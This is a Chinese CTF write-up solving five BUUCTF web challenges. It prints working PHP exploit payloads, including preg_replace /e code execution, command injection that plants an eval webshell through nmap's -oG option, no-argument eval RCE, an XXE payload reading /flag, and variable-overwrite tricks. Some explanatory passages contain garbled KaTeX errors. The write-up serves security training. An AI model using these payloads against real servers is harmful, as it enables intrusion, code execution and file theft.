[BT]BUUCTF刷题第14天(4.10)

news2024/11/28 8:50:28

第14天(共5题)

Web

[BJDCTF2020]ZJCTF,不过如此

打开网站直接显示源代码:

<?php
error_reporting(0);     //关闭报错
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

这里会以GET方法获取两个参数:textfile,同时需要text的内容等于"I have a dream",这里用到了data伪协议

构造URl:?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=
然后POST里面直接写I have a dream(不用参数名)

在这里插入图片描述

因为网站会通过伪协议读取我们传给它的POST内容然后与"I have a dream"进行比较

然后尝试在此基础上加上&file=next.php,访问源代码提示的next.php

发现没有变化,那么直接访问next.php试试,返回空白内容,说明可以访问这个文件但是网站不给我们显示,那么就用php://filter伪协议

构造URL:?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php

在这里插入图片描述

解码得到新的源代码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

preg_replace的/e可以让第二个参数'替换字符串'当作代码执行,但是在这里第二个参数是不可变的,但正则表达式模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower(“\1”)正好表达的就是匹配区的第一个,因此如果成功匹配,那么就可以实现函数

\S*=${getFlag()}&cmd=system('ls');注意代码里面的idsession是骗人的,没有用,在正则里面是$_GET,因此不用id传参数

传入后正则会变为preg_replace(‘/(’.\S*.‘)/ei’,‘strtolower(“\1”)’,getFlag());存储临时缓存区:\S*==>getFlag();strtolower(“\1”)匹配第一个,从而执行了getFlag()函数

在这里插入图片描述

[BUUCTF 2018]Online Tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);     //转义',会在'前面加上\
    $host = escapeshellcmd($host);     //转义特殊字符,会在特殊字符前面加上\
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这段源代码的含义就是用户传入GET方式的host参数,通过escapeshellargescapeshellcmd两个函数过后会拼接到namp命令后面并执行,这里可以让namp命令写入一句话木马,然后我们访问写入木马的文件

nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

我们需要构造:

nmap -T5 -sT -Pn --host-timeout 2 -F <?php @eval($_POST[123]); ?> -oG hack.php

即构造对应的URL:?host=' <?php @eval($_POST["cmd"]);?> -oG attack.php '

原理:
1、输入:$host=' <?php @eval($_POST["cmd"]);?> -oG attack.php '
2、escapeshellarg(host):KaTeX parse error: Expected group as argument to '\'' at position 10: host=''\''̲ <?php @eval(_POST[“hack”]);?> -oG attack.php ‘’‘’
首先会使用转义符\对单引号’进行转义’‘’,并在字符串两端加上单引号’‘’’ <?php @eval($_POST["hack"]);?> -oG hack.php ‘’‘’
3、escapeshellcmd(host):$host=‘’\‘’ <?php @eval($_POST[“hack”]);?> -oG attack.php ‘\’‘’ 对于上文包含的特殊符前会插入反斜杠进行转义,另外在不成对的单引号和双引号前也会插入反斜杠进行转义,此处单引号均成对儿无需转义。
4、最后\ 解释为\而非转义符,所以后面的单引号’‘成了空白连接符,一句话木马中的反斜杠均为转义字符,最后同为非转义字符,形成连接符。简化为:’‘’’ <?php @eval($_POST["hack"]);?> -oG attack.php ‘’‘’
5、带入到system("nmap -T5 -sT -Pn --host-timeout 2 -F ".KaTeX parse error: Expected group as argument to '\'' at position 49: …meout 2 -F ''\''̲ <?php @eval(_POST[“hack”]);?> -oG attack.php ‘’‘’
6、利用nmap -oG 参数将命令语句和执行结果存储到attack.php文件中,这样一句话木马就以php文件格式上传到目录上。
7、最后根据回显文件名利用蚁剑完成连接获取flag。
(摘抄自[BUUCTF 2018]Online Tool (escapeshellarg和escapeshellcmd双写利用)

在这里插入图片描述

24fbe2d98f2cf4e920e96ee6f605192d是目录,访问http://58122894-5422-40a8-ad9e-c457a1dd71c6.node5.buuoj.cn:81/24fbe2d98f2cf4e920e96ee6f605192d/attack.php返回以下界面说明写入木马代码成功

在这里插入图片描述

用蚁剑连接即可拿到flag

在这里插入图片描述

[GXYCTF2019]禁止套娃

在这里插入图片描述
打开网站无明显提示,并且源代码也没有找到解题思路,通过查看题解得知需要使用Dirsearch扫描到.git备份文件

使用GitHack工具获取git泄露文件:

python GitHack.py http://94736b54-0c6d-4fb0-91cf-d059cbc893f1.node5.buuoj.cn:81/.git/

在这里插入图片描述

在工具目录下得到下载到的泄露源代码indeex.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

大概意思就是代码不分大小写地过滤掉了

data://
filter://
php://
phar://

以及

et
na
info
dec
bin
hex
oct
pi
log

第二个判断函数是无参数RCE的典型例子,(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有,它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的

由于不能传参,所以只能利用函数回显套娃来代替目标参数
找到flag.php的位置:

?exp=print_r(scandir(pos(localeconv())));

localeconv(),回显数组,第一个数组是字符"."点号
pos(),传入数组,回显第一个数组的值,pos可以用current代替
所以pos(localeconv())等价于.号
而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件
再配合print_r函数输出数组
(摘自[GXYCTF2019]禁止套娃–详解

执行得到:

在这里插入图片描述
说明flag.php在索引为2的地方,为了得到这个位置可以使用:

PHP array_reverse() 函数 (w3school.com.cn)数组反转
PHP next() 函数 (w3school.com.cn) 数组指针移动下一位

也就是:

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

成功拿到flag

在这里插入图片描述

[NCTF2019]Fake XML cookbook

这是一道XXE(xml外部实体注入)类型的题目

在这里插入图片描述

通过查看源代码和抓包可以分析得到XML

XXE漏洞(XML外部实体注入)是一种安全漏洞,可以利用输入验证不严格的 XML 解析器来注入恶意代码。攻击者可以通过构造恶意的 XML 文档将其发送到应用程序中,在解析该文档时,XML 解析器会加载外部实体(如文件、URL等),以便在文档中引用它们。攻击者可以利用这个功能来执行各种攻击,例如读取服务器上的任意文件、发送内部网络请求、绕过身份验证等。

在这里插入图片描述

存在一个XML实体,我们可以构造恶意实体,尝试读取falg文件

在这里插入图片描述
尝试:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>111</password></user>

在这里插入图片描述

成功拿到flag

在这里插入图片描述

[GWCTF 2019]我有一个数据库

打开是一个个人博客网页
在这里插入图片描述
并且也是.git文件泄露,使用GitHack工具进行获取:

python GitHack.py http://0d139d93-9637-4efe-b463-ad37bd4770d4.node5.buuoj.cn:81/.git/

得到源代码

在这里插入图片描述

flag.php:

<?php

$flag = file_get_contents('/flag');

index.php:

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}
foreach($_GET as $x => $y){
    $$x = $$y;
}
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

分析代码知道flag就在flag.php文件里,而index.php包含flag.php文件,并且满足特定条件就会输出flag

这里先解释一下:

foreach($_POST as $x => $y){
    $$x = $y;

假如有一个数组是$_POST = array( 'name' => 'John Doe', 'age' => 30 ); (当然实际的$_POST其实是POST传参的数组),那么 $x会依次保存当前索引的键名,$y则保存当前键名对应的值

解法1

在这里我们需要利用exit($handsome);进行输出flag,因为要满足所有条件并通过最后的echo输出flag是不现实的,只能通过每个exit函数进行输出flag(所以每个exit都代表一种解法),为了让$handsome等于flag的值,这里需要用到变量覆盖的知识点:

$handsome = flag的值  --->   $handsome = $flag  --> $x=handsome & $y=flag

这样的话$$x就相当于$handsome ,$y还是等于flag

所以构造URL:?handsome=flag&flag=b&b=flag

这里的flag=b&b=flag是什么意思?分析第一个if,

if($_GET['flag'] === $x && $x !== 'flag')

代码要求键名为flag的值等于键名$x,并且键名$x的值不等于"flag",那么这样一分析就能理解了

得到flag(注意flag在页面最下方,需要滑到底部才能看到)
在这里插入图片描述

解法2:

满足第二个if,if(!isset($_GET['flag']) && !isset($_POST['flag']))

这里不能设置GET方法的flag和POST方法的flag

输出flag通过$yds:exit($yds);

那么直接设置URL:?yds=flag

解法3:

满足第三个if,if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')

直接设置POST或者GET方法的flag等于flag

URL:?is=flag&flag=flag

解法3:

按照前面的说法,本来是不能完全绕过所有if,最后输出echo的,但是其实还是可以的,因为我们可以绕过if($_GET['flag'] === $x && $x !== 'flag'),注意这里用到的是强类型比较三个等号

可以构造URL:?1=flag&flag=1

这里PHP会把键名1当作int型,把键名为flag的值1当作string型,因此因为强类型比较的原因if判断通过不了,最后就会执行echo "the flag is: ".$flag;得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1587051.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C#如何用NPOI创建、读取、更新Excel文件

一.获取引用NPOI VS2017&#xff0c;通过Nuget工具包下载NPOI到指定的项目中&#xff0c;如下 二.添加如下命名空间,其中HSSF是操作*.xls文件&#xff0c;XSSF操作*.xlsx文件. using NPOI; using NPOI.SS.UserModel; using NPOI.XSSF.UserModel; using NPOI.HSSF.UserModel; …

Debian 安装 Docker

Debian 安装 Docker。 这是官方安装文档 Install Docker Engine on Debian | Docker DocsLearn how to install Docker Engine on Debian. These instructions cover the different installation methods, how to uninstall, and next steps.https://docs.docker.com/engine/i…

如何将普通maven项目转为maven-web项目

文件-项目结构&#xff08;File-->Project Structure &#xff09; 模块-->learn&#xff08;moudle-->learn&#xff09; 选中需要添加web的moudle&#xff0c;点击加号&#xff0c;我得是learn&#xff0c;单击选中后进行下如图操作&#xff1a; 编辑路径 结果如下…

【网站项目】英语学习激励系统小程序

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

神经网络背后的数学原理

原文地址&#xff1a;The Math Behind Neural Networks 2024 年 3 月 29 日 深入研究现代人工智能的支柱——神经网络&#xff0c;了解其数学原理&#xff0c;从头开始实现它&#xff0c;并探索其应用。 神经网络是人工智能 &#xff08;AI&#xff09; 的核心&#xff0c;为…

性能优化“万金油”:缓存Cache

1、首次请求数据时,先从缓存中获取,如果没有,则继续向数据库中获取。获取到数据后,将数据保存到缓存中。再次请求数据,一样先从缓存中获取,成功获取,“缓存命中”。多次请求中,命中次数占全部请求次数的比例,叫“命中率”。如果数据源的数据发生变化,而缓存中的数据没…

【RV1106的ISP使用记录之一】基础环境搭建

公司缺少ISP工程师&#xff0c;做为图像算法工程师的我这就不就给顶上来了么&#xff0c;也没给发两份工资&#xff0c;唉~ 先写个标题&#xff0c;占一个新坑&#xff0c;记录RK平台的传统ISP工作。 一、基础环境的硬件包括三部分&#xff1a; 1、相机环境&#xff0c;用于采…

3D开发工具HOOPS:推动汽车行业CAD可视化发展

在最近的行业对话中&#xff0c;Tech Soft 3D&#xff08;HOOPS厂商&#xff09;的Jonathan Girroir和Actify的Peter West探讨了CAD可视化在当代企业中的重要性和挑战。作为CAD可视化领域的佼佼者&#xff0c;Actify通过其广受欢迎的Spinfire应用&#xff0c;赋能了全球40多个国…

单链表总结提升

这篇博客讲解数据结构中的单链表&#xff0c;包括单链表的基础知识和我对链表实现的总结理解&#xff0c;希望可以帮助到正在学习的小伙伴&#xff0c;也希望得到小伙伴们的关注和支持哦~ 目录 1.单链表的概念 1.2顺序表和链表的对比 顺序表&#xff1a; 链表&#xff1a;…

【牛客SQL快速入门】SQL基础(三)

一、条件函数 IF 条件函数 IF函数是最常用到的条件函数&#xff0c;写法为 if(xn,a,b)&#xff0c;xn代表判断条件&#xff0c;如果xn时&#xff0c;那么结果返回a&#xff0c;否则返回b。 -- 把非北京大学的用户统一归为其他大学 Select device_id,if(university ‘北京大…

C++设计模式:享元模式(十一)

1、定义与动机 概述&#xff1a;享元模式和单例模式一样&#xff0c;都是为了解决程序的性能问题。面向对象很好地解决了"抽象"的问题&#xff0c;但是必不可免得要付出一定的代价。对于通常情况来讲&#xff0c;面向对象的成本大豆可以忽略不计。但是某些情况&#…

T2.数据库原理

2.1 关系模型概述 1.域 域&#xff1a; 一组有相同数据类型的值得集合 2.笛卡尔积 笛卡尔积&#xff1a; 设任意的N个域D1,D2,…,Dn。 3、关系的定义和性质 &#xff08;1&#xff09;关系的数学定义&#xff1a; 在笛卡儿积中取出有实际意义的元组来构造关系。 关系也是…

R语言绘制一次和二次相关性热图

在数据探索的过程中&#xff0c;我们往往会对数据与数据的相关性进行分析&#xff0c;例如我们常用的corrplot包&#xff0c;或者psych包中的corr.test函数&#xff0c;对两两变量间的相关性进行分析。我们常常会看到这样的相关性热图&#xff1a; 但有时变量间的关系并非线性…

new mars3d.thing.Sightline({ 实现航线穿透山体/模型部分的虚线效果且不随视角变化而变化

摘要&#xff1a;new mars3d.thing.Sightline({ 实现航线穿透山体/模型部分的虚线效果且不随视角变化而变化&#xff0c;避免depthFailMaterial材质随着视角变化遮挡部分也会虚线效果。 前置说明&#xff1a; 1.不可视区域颜色hiddenColor支持设置材质&#xff0c;实现穿过山…

【spring】@PostConstruct和@PreDestroy注解学习

PostConstruct和PreDestroy介绍 PostConstruct和PreDestroy是Java EE&#xff08;Enterprise Edition&#xff09;和Java SE&#xff08;Standard Edition&#xff09;中的注解&#xff0c;它们用于指定一个bean在其生命周期的特定点应该执行的方法。 这两个注解是JSR250规范中…

【高端电流检测IC储能产品应用方案】耐压28V侧轨的电流检测芯片FP130A 应用于电脑电源,开关电源以及多口快充充电器,户外移动电源,适配器,电池充电器等

电流检测技术常用于高压短路保护、电机控制、DC/DC换流器、系统功耗管理、二次电池的电流管理、蓄电池管理等电流侦测等场景。对于大多数应用而言&#xff0c;都是间接测量电阻两端的跨压差来获取待测电流。 如下面的高端电流检测芯片FP130A&#xff0c;丝印是FC915。电路原理图…

MySQL 全文检索

不是所有的数据表都支持全文检索 MySQL支持多种底层数据库引擎&#xff0c;但是并非所有的引擎支持全文检索 &#xff0c;目前最常用引擎是是MyISAM和InnoDB&#xff1b;前者支持全文检索&#xff0c;后者不支持。 booolean模式操作符 操作符含义必须有-必须不包含>包含对应…

Unity 中画线

前言&#xff1a; 在Unity项目中&#xff0c;调试和可视化是开发过程中不可或缺的部分。其中&#xff0c;绘制线条是一种常见的手段&#xff0c;可以用于在Scene场景和Game视图中进行调试和展示。本篇博客将为你介绍多种不同的绘制线条方法&#xff0c;帮助你轻松应对各种调试…

rust使用print控制台打印输出五颜六色的彩色红色字体

想要在控制台打印输出彩色的字体&#xff0c;可以使用一些已经封装好的依赖库&#xff0c;比如ansi_term这个依赖库&#xff0c;官方依赖库地址&#xff1a;https://crates.io/crates/ansi_term 安装依赖&#xff1a; cargo add ansi_term 或者在Cargo.toml文件中加入&#…

HWOD:在含有空格的字符串中统计大写字母的个数

一、知识点 回车键的ASCII码是10 二、题目 1、描述 找出给定字符串中大写字符(即A-Z)的个数。 数据范围&#xff1a;字符串长度&#xff1a;1≤∣s∣≤250 字符串中可能包含空格或其他字符 2、输入 对于每组样例&#xff0c;输入一行&#xff0c;代表待统计的字符串 …